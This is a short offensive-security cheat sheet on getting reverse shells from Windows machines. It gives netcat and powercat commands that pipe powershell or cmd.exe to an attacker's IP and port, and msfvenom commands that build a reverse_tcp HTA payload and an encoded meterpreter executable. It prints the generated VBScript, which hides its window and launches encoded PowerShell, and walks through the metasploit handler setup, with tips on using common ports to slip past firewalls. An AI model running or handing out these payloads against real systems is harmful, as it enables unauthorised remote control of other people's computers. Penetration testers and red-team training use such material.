To gain control over a compromised system, an attacker usually aims to gain interactive shell access for RCE. A reverse shell is a connection back that means that the victim connects to the attacker.
Be careful with Firewalls, use common ports like 80,443 or 445.
Windows
Nishang
Nishang is a framework and collection of scripts and payloads which enables usage of PowerShell for offensive security, penetration testing and red teaming. Nishang is useful during all phases of penetration testing.
Netcat is a network tool that allows through a command interpreter and with a simple syntax to open TCP / UDP ports in a HOST. It's not native from windows, so you need to trasnfer the binary.
nc.exe -e powershell.exe [IP] [PORT]
Be careful, migrate the process to the same machine architecture!
Powershell
Also we can get a reverse shell without using any external file.
$ msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=443 -f hta-psh
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 324 bytes
Final size of hta-psh file: 6638 bytes
<script language="VBScript">
window.moveTo -4000, -4000
Set bwtVGMW = CreateObject("Wscript.Shell")
Set tycIa5Pq = CreateObject("Scripting.FileSystemObject")
For each path in Split(bwtVGMW.ExpandEnvironmentStrings("%PSModulePath%"),";")
If tycIa5Pq.FileExists(path + "\..\powershell.exe") Then
bwtVGMW.Run "powershell.exe -nop -w hidden -e aQBmACgAWwBJAG4AdABQAHQAcgBdADoAO....
Powercat
Powercat is the netcat version written in powershell. Remember first download the script and import the module.
powercat -c ip-addr -p port -e cmd.exe
Meterpreter
First, we need to create our shellcode with msfvenom:
msfvenom -p windows/meterpreter/reverse_tcp --platform windows -a x86 --encoder x86/shikata_ga_nai -f exe LHOST=[IP] LPORT=[PORT] > meterpreter.exe
After transfer our shellcode to the target machine, we will start listening with metasploit at the same port:
msf> use multi/handler
msf> set PAYLOAD windows/meterpreter/reverse_tcp
msf> set LPORT [PORT]
msf> set LHOST [IP]
msf> run
When we execute our shellcode we will receive the meterpreter in the handler:
.\meterpreter.exe
Be careful, migrate the process to the same machine architecture!
